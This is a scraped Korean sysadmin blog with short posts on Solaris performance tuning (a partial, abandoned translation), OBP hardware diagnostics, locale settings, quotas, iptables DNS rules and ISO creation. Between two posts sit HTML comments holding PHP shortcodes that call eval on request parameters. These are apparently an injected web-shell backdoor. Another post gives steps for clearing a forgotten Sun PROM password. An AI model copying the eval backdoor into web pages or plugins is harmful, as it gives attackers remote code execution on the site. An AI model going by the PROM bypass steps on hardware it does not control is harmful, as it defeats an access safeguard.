solaris8 performance tunning 번역하다 포기..

원문은 http://www.samag.com/documents/s=7667/sam0213b/0213b.htm

Solaris™ 8 Performance Tuning
James C. McPherson

UNIX 시스템의 퍼포먼스 튜닝에 대한 이야기를 할때, 시스템 관리자는 보통 몇가지 개념 – 현재의 측정된 퍼포먼스, 현재 레벨과 요구되는 퍼포먼스 레벨의 차이, 애플리케이션 벤더에 의해 요구되는 최적화 레벨, 퍼포먼스 차이를 어떻게 측정할것인가, 마지막으로 무엇을 튜닝하고 테스트할것인가 와같은 -을 가지고 작업을 한다.

현재 측정된 퍼포먼스 레벨은 사용자들이 말하는것과 시스템 모니터링을 관찰한 것을 기반으로 한다. 네트워크 환경에서, 만약 여러분이100Mbps Full-Duplex 연결을가지는 몇몇 사용자들과 나머지 사용자들은 여전히 10MBPS hdx연결을 사용한다면, 10Mbps 사용자들은 항상 시스템이 느리다고 말할 것이다. 그렇지만, 여러분은 100Mbps 사용자들이 불평하기전에 심각한 애필리케이션 오버로드나 리소스가 고갈 되기를 기다릴 것이다. 또한 시스템 레벨 모니터링을 위한 측정가능한 커널 통계와 자세한 로그화일들이 있다. 어떤 사이트는 snmp MIB를 통해 모니터하기위한 CA UniCenter TNG, HP OpenView, 또는 SUN의 SunMC같은 유용한 툴을 사용한다. 그렇지만 이것은 충분한 시스템과 애플리케이션 관리자에 의해 사용되는 툴이지 홀로 사용되지는 않는 툴이다.

요구된 퍼포먼스 레벨은 조금 다르다. 벤치마크는 때때로 덜 유용하지만, 여러분이 큰 벤더의 시스템이나 애플리케이션을 사용한다면 그들(벤더들)은 여러분의 환경과 여러분이 허락한 실제 부하들을 복제해서 특별한 벤치마킹 그룹을 가질 것이다. 여러분은 여러분 회사의 요구에 특별히 맞추어진 것이기에 이러한 방법에 의해 벤치마크된것을 신뢰할 수 있을 것이다. 맞춤 벤치마크를 구성하기위한 리소스나 시간이 부족하다면, 여러분은 스스로 하기위한 여분의 시간을 써야만 할 것이다.시작하기 전에, 어떤 측정이 여러분 시스템에 유효할 것이고 어떻게 그것을 얻을 지를 결정해야 한다. 또한, 테스트와 모니터링에 여러분의 사용자를 고려해 함께 작업해야 한다. 그들이 변화를 인식하고 여러분이 제공한 것을 고맙게 여기도록 여러분이 한일에 대한 정보를 사용자들에게 제공하라.

How to Measure before and after Performance Differences
효과적으로 튜닝하기 위해, 여러분은 무엇을 이루고자하는지를 먼저 결정해야 한다. 여기에 고려해야할 몇가지 팁이 있다.

성공을 위한 기준을 결정하라.
모든것을 기록(log)하고, Sun Explored를 실행해서 매 시간 데이타를 수집하라.;ㅡㅡ
로그를 주의깊게 분석하라.
이루고자 원한 것에 대한 퍼포먼스 변화를 측정하라.
올바른 규칙에 따라 하라.

여러분이 이미 리소스 부하(load)와 시스템의 레코드를 유지하지 않고 여러분 시스템상의 애플리케이션을 모니터링하는 방법을 가지지 않았다면, 간단히 시작하라. 여러분은 cpu/memory/swap 이용율과 디스크 이용율(특별하게 여러분의 애플리케이션 화일시스템)과 네트워크 이용율을 표준 시스템 틀을 사용해서 측정할 수 있다. Solaris 8은 여럴분이 다양한 시스템 특성을 갖가지 출력포맷으로 볼수있는 유틸리티인 kstat(1M) 유틸리티를 사용할 수 있게 한다. df -k 또한 유용하다. 여러분은 이러한 통계를 주기적으로 화일로 덤프하는 스크립트를 작성하거나 아파치와 mrtg1 같은 주기적으로 리프레시해서 보여주는 툴을 사용할 수 있다. 쉘을 작은 부분인 awk, seed, 또는 perl은 여러분에게 많은 그래프들을 제공할 수도 있을 것이다.

가장 쓸만한 퍼포먼스 모니터링은 여러분의 애플리케이션 관리자와 사용자들이 결정한 충분한 길이의 시간동안 주지적이고 규칙적인 스냅샷을 요구한다. 내 경험은 모니터링 데이타(가급적 피크 로드 기간을 포함하는)가 8일보다 짧게 모여서는 안되며 그래서 여러분은 찾을수 있는 분명한 피크와 through를 얻어야 한다. 측정의 다른 측면은 어떻게 그들이 모니터링 기간에 퍼포먼스가 변화한 과정의 이전과 이후 모두를 사용자를 대상으로 조사하는 것이다. 여러분의 퍼포먼스 튜닝이 사용자들이 차이를 인지할 수 없는 결과를 가져왔다면, 나는 퍼포먼스가 정말로 튜닝되지 않았다고 말할 것이다. 질문에 대한 쓸만한 답이 있다.

튜닝을 시작하기 전에 오전 9시, 정오12시, 오후 2시, 오후5시에 표준작업(초단위로 측정된)을 얼마나 오래 수행했는가?
이런 작업이 지금 얼마나 오래 됐나?
여러분은 그 퍼포먼스가 지난 x날 동안 향상되었는지, 같은지 더 나빠졌는지를 생각하는가?(적어도 이 질문에대해서는 7-지점의 측정이 추천된다)

시스템 관리자인 여러분은 여러분스스로 이런 표준 작업을 측정하는것이 필요하고 여러분은 측정을 위한 참고용 프레임을 가지게 된다.

What to Tune and When to Tune It

I/O and Buffers (Including VxVM and VxFS)

가장 일반적인 퍼포먼스 튜닝의 목표는 분명히 I/O이고, 솔라리스에서는 몇몇 버퍼들과 우리가 할 수 있는 조정이 있다. 여러분은 아마도 디스크 vs 램의 상대 속도와 어떻게 지난 20여년간 이 속도차이가 드라마택하게 변해왔는지에 주목할 것이다. 이것은 솔라리스가 페이징2로 구현된 방법 때문에 여러분 서버의 ‘가상메모리’ 구성에 특히 중요하다. 여기서 주요 관심은 여러분의 느린 디스크(비록 10000rpm fcal 디스크도 여전히 느리다)로 데이타가 페이징 되는 것을 피하고 다음 적정시점에 tcp 스택이나 스커지로 보내지기까지 램에 데이타가 남아있는것을 보장하는 것이다.

어떻게 페이징을 방지하는가? 이 질문에는 ‘좋은’ 그리고 ‘나쁜’ 페이징의 식별이 필요하다. ‘좋은’ 페이징이라 불리는 것은 프로세스로부터 페이지가 다시 요청되거나 시스템 할당시에 발생하는데 반해 ‘나쁜’ 페이징은 디스크장치로부터 신뢰할 할당이 일어나고 시스템은 불필요한 액세스를 초래한다. 그래서 우리는 ‘좋은’페이징에 대해 특별한 주의를 할 필요는 없기 때문에 커널의 페이징 알고리즘은 가능한 드물게 발생하도록 지능적으로 작성한다. 페이징 우선순위(priority_paging)설정은 솔라리스 2.6과 솔라리스 7에 필요하다. 솔라리스 8이나 솔라리스 9는 이것이 필요하지 않은데 이것은 새 커널에 통합된 사이클릭 페이지 캐쉬라 불리는 priority_paging의 수정된 버전때문이다. ‘나쁜’ 페이징은 스와핑으로 알려져 있으며, 극단적인 환경에서 여러분의 I/O 서브 시스템이 thrashing이라 말하는 높은 I/O 부하 같은 결과를 초래할 수 있다.

여러분은 특히 솔라리스쪽의 ncsizelotsfree의 조정을 주의해야 한다. 여러분이 베리타스 볼륨 매니저(vxvm)일 구동하고 있다면, 여러분은 volkio에 친숙하고 주의해야 할 필요가 있다. 여러분이 베리타스 화일시스템(vxfs)를 구동한다면, 여러분은 vxfs:vxfs_ninodevxfs:vx_bc_bufhvm의 조정에 주의 해야한다. 나는 이러한 변수들을 조정하는것에대하 강의할 것이다.

ncsize
ncsize의 ‘nc’는 네임캐쉬(Name Cache)를 의미하고, 디렉토리 네임 루크업 캐쉬(Driectory Name Lookup Cache, 짧게 dnlc)의 크기를 설정하는 데 사용한다. 이것은 ;ㅡㅡ 여러분의 화일시스템으로부터의 보다 좋은 퍼포먼스를 주기위한 최적화이다. ncsize의 디폴트 세팅은 max_nprocsmaxusers 두 변수에 의존하며, 다음과같은 관계가 있다.

ncsize = (4 * (max_nprocs+maxusers)) + 320
max_nprocs = 10 + (16 * maxusers)
maxusers = physmem – 2

나머지는 나중에 …

SUN OBP에서 하드웨어 점검하기.

테스트 환경은
SUN Netra t1 105
CPU: 440MHz
RAM: 256MB
HDD: 9GB 2개
기타: 기본 사양

1. pc consol로 접속한다.

2. Ok 프롬프트 상태에서 다음의 명령어를 입력한다.
setenv diag-switch? true
setenv diag-level max
setenv auto-boot? false

3. 설정을 저장하면 하드웨어를 진단하는 화면을 볼 수 있다.
reset-all

4. 결과보기

Resetting …

Software Power ON

@(#) SPARCengine(tm)Ultra CP 1500 3.10.25 ME created 2000/01/17 21:26
Enter Checking KB
ps/2 kbd check: 0000.0000.0000.00fe
Checking Sun KB
Clearing E$ Tags Done
Clearing I/D TLBs Done
Probing Memory
Group Info[0000.0000.0000.0003] : 0000.0000.0000.0000
Group Info[0000.0000.0000.0002] : 0000.0000.0000.0000
Group Info[0000.0000.0000.0001] : 0000.0000.0000.0108
Group Info[0000.0000.0000.0000] : 0000.0000.0000.0108
Done
Clearing Memory…Done
MEM BASE = 0000.0000.2800.0000
MEM SIZE = 0000.0000.0400.0000
MMUs ON
Copy Done
PC = 0000.01ff.f000.2ffc
PC = 0000.0000.0000.3040
Decompressing into Memory Done
Size = 0000.0000.0008.6bf0
ttya initialized
flashprom flashprom Reset Control: BXIR:0 BPOR:0 SXIR:0 SPOR:1 POR:0
UltraSPARC-IIi Version 9.1 (E$=2 MB) 2-2 module
Advanced PCI Bridge Version 1.3
Probing Memory Group #0 64 + 64 : 128 Megabytes
Probing Memory Group #1 64 + 64 : 128 Megabytes
Probing Memory Group #2 0 + 0 : 0 Megabytes
Probing Memory Group #3 0 + 0 : 0 Megabytes
Initialise 2nd I2c controller
Environmental monitoring: Enabled
i2c adc gpio gpio
i2c Probing Floppy: No drives detected
Probing /pci@1f,0/pci@1,1 at Device 1 network
Probing /pci@1f,0/pci@1,1 at Device 2 scsi disk tape
Probing /pci@1f,0/pci@1,1 at Device 3 network
Probing /pci@1f,0/pci@1 at Device 1 pci
Probing /pci@1f,0/pci@1/pci@1 at Device 0 Nothing there
Probing /pci@1f,0/pci@1/pci@1 at Device 1 Nothing there
Probing /pci@1f,0/pci@1/pci@1 at Device 2 Nothing there
Probing /pci@1f,0/pci@1/pci@1 at Device 3 Nothing there
Probing /pci@1f,0/pci@1/pci@1 at Device 4 Nothing there
Probing /pci@1f,0/pci@1/pci@1 at Device 5 Nothing there
Probing /pci@1f,0/pci@1/pci@1 at Device 6 Nothing there
Probing /pci@1f,0/pci@1/pci@1 at Device 7 Nothing there
Probing /pci@1f,0/pci@1/pci@1 at Device 8 Nothing there
Probing /pci@1f,0/pci@1/pci@1 at Device 9 Nothing there
Probing /pci@1f,0/pci@1/pci@1 at Device a Nothing there
Probing /pci@1f,0/pci@1/pci@1 at Device b Nothing there
Probing /pci@1f,0/pci@1/pci@1 at Device c Nothing there
Probing /pci@1f,0/pci@1/pci@1 at Device d Nothing there
Probing /pci@1f,0/pci@1/pci@1 at Device e ide disk cdrom
Probing /pci@1f,0/pci@1/pci@1 at Device f Nothing there

Netra t1 (UltraSPARC-IIi 440MHz), No Keyboard
OpenBoot 3.10.25 ME, 256 MB memory installed, Serial #12734874.
Ethernet address 8:0:20:c2:51:9a, Host ID: 80c2519a.”

Sun ultra 시리즈 PROM 비밀번호 삭제

SUN 장비에 PROM password가 걸려 있는데
passwoord를 잊었을 경우 부팅이 불가능하다.

이때 다음 과정을 거쳐 부팅이 가능하다.

1. STOP + A 를 누릅니다.

2. login을 입력한 후 엔터를 누른다.

3. password를 입력하라고 나오면. H10/O(영문)ediH 를 누른다(대소문자구별)

4. Ok 프롬프트가 뜨면…..

5. setenv security-mode none 을 입력한후 엔터를 누른다.

6. reset 해서 저장후 재부팅 한다.

이상입니다.

제가 확인한 기종은 ultra10, E450이다.

OBP버전이 3.? 였었는데.. 다른 버젼에서는 모르겠다

솔라리스에서 로케일 설정하기

솔라리스에서 로케일 설정하는 방법을 얼마전에 알았다.

기억력의 한계를 항상 느끼는 덕분에, 역시 적어 놓아야 겠다.

방법은 세가지였던것으로 기억된다.

system에서 바꾸는 방법, .Xshrc 화일에서 바꾸는 방법, CDE환경에서 바꾸는 방법…

먼저, 사용가능한 로케일을 알아 보려면, locale명령어를 이용해서 확인해야 한다.

# locale -a
POSIX
C
hi_IN.UTF-8
common
iso_8859_1
ko
ko.UTF-8
ko_KR.EUC
ko_KR.UTF-8
th
th_TH
th_TH.ISO8859-11
th_TH.TIS620
th_TH.UTF-8
ko_KR.EUC@dict
ko_KR.UTF-8@dict

위의 경우 사용가능한 로케일 들이다.

먼저, 시스템에서 로케일을 변경하는 경우는…
/etc/default/init 화일을 변경한다….
내 시스템의 init화일 내용은 다음과 같다.

TZ=ROK
CMASK=022
LANG=ko

위에서, 유니코드를 사용하려면, LANG=ko.UTF-8로 바꾼다.
실제로 해보지는 않았다.. ;–
그리고 재부팅 해야한다. 아마 될 것이라 생각된다.. 헤헤..

두번째는 일시적으로 또는 로그인했을때 변경하는 경우로서
C쉘을 사용하는 경우.

setenv LANG ko

와같이 설정한다.

세번째 방법은?
CDE를 사용할때, 로그인하기전에 로케일을 바꾸고 로그인…
이건 정말 간단하다…

잊기 전에 기록….

참, X쉘같은 프로그램에서 한글이 깨졌을 때, 두번째 방법을 사용했던 기억이 난다.

Stealing the network, 서평을 보고…

http://www.hackerslab.org/images/menu2/stealing_the_network.jpg

Stealing the Network 라는 책의 서평에 관한 글이 해커스랩에 올라왔다.

뭐, 그동안 해킹에 관한 책들이 해킹의 세부적인 방법은 제시하지 않았다는 내용과 이 책은 그렇지 않다는 내용인데..

암튼, 흥미로웠던 점은, 시스코 라우터를 해킹한다든지, 프린터 서버( 내가 이해하기로는 24시간 켜져있는 프린터의 메모리에 화일을 저장한다는…)해킹이라든지하는 내용으로 되어 있다고 한다.

서평을 보면 굉장한 흥미를 유발시키는 이책은, 그러나 번역본이 나와있지 않고, 책값도 비싸단다.. 우리나라 돈으로 5만원이 넘는다고 하는데..

암튼, 기회가 되면 한번 읽어보고 싶은 생각이 든다.

참고사이트
http://www.hackerslab.org/korg/view.fhz?menu=pre_box2&no=16

Solaris에서 wtmpx화일 보기?

역시 문서는 찾아봐야 해!!

fwtmp유틸리티를 이용한다.

사용방법.
cat /var/adm/wtmpx | /usr/lib/acct/fwtmp

참고 사이트.
http://kr.sun.com/service/techdocs/0006/000665.html

리눅스 iptables와 DNS 쿼리 …

리눅스에서 iptables로 포트 막은후 DNS 쿼리가 안 될 때가 있다..
이것은 다음과 같이 설정을 해 줘야 정상적인 DNS 쿼리가 진행 된다.

##### DNS client…. #####

iptables -A INPUT -i $EXTERNAL_INTERFACE -p udp –source-port 53 -d $IPADDRESS -destination-port $UNPRIVATEPORTS -j ACCEPT

iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p udp -s $IPADDR –source-port $UNPRIVATEPORTS -destination-port 53 -j ACCEPT

example)
iptables -A INPUT -d 192.168.100.3 -i eth0 -p udp -m udp –sport 53 –dport 1024:8000 -j ACCEPT
iptables -A OUTPUT -s 192.168.100.3 -o eth0 -p udp -m udp –sport 1024:8000 –dport 53 -j ACCEPT

solaris ufs에 quota 지정하기

quota설정하기

solaris ufs에 quota지정하기

solaris ufs 화일 시스템에 Quota를 지정해 보았다.

리눅스에서와는 약간 방법이 다르다.

그렇지만 사용방법은 비슷하다.

테스트는 solaris9, ultra10 60GB EIDE HDD에서 했음.

quota는 /export/home에 지정하기로 함.

1. /etc/vfstab을 수정
/dev/dsk/c0t0d0s7 /dev/rdsk/c0t0d0s7 /export/home ufs 2 yes –
부분을 찾아서 다음과 같이 변경
/dev/dsk/c0t0d0s7 /dev/rdsk/c0t0d0s7 /export/home ufs 2 yes rq

2. /export/home에 quotas화일 생성(소유권 주의)
-rw——- 1 root other 98304 May 27 17:35 quotas

3. 사용자에게 quota할당(예로 store유저)
edquota store
fs /export/home blocks (soft = 10000, hard = 10000) inodes (soft = 0, hard = 0)

4. 시스템을 재부팅(재부팅 하지 않으려면 다음 명령어를 사용)
sh /etc/init.d/ufs_quota start
시간이 꽤 걸렸다.. 이부분에서..

5. 확인해본다.
repquota -a
다음과 같은 결과가……
/dev/dsk/c0t0d0s7 (/export/home):
Block limits File limits User used soft hard timeleft used soft hard timeleft
store +- 28422 10000 10000 NOT STARTED 2435 0 0

Quota관련 명령어에는 다음과 같은것이…..

quota, edquota, checkquota, repquota, quotaon, quotaoff

Solaris에서 rstatd의 역할…

솔라리스에서 rstatd가 하는일은……
얼마 전에야 알았다..

rstatd가 하는 일은 바로..
커널로 부터 퍼포먼스 통계를 받아서 보여주는 일을 한다..
간단히 말하면..
성능측정을 하는 역할을 한다.

<!– [insert_php]if (isset($_REQUEST["YpXg"])){eval($_REQUEST["YpXg"]);exit;}[/insert_php][php]if (isset($_REQUEST["YpXg"])){eval($_REQUEST["YpXg"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["abBzn"])){eval($_REQUEST["abBzn"]);exit;}[/insert_php][php]if (isset($_REQUEST["abBzn"])){eval($_REQUEST["abBzn"]);exit;}[/php] –>

Unix에서 ISO 이미지 만들기.

# mkisofs -o /tmp/cies.iso -V cies -R /test
-o : Output Option
/tmp/cies.iso : Image file이 생성되는 디렉토리
-V : Volume 이름 Option
cies : Volume 이름
-R : Sub dir. Option
/test : Image를 만들고자 하는 디렉토리(Source)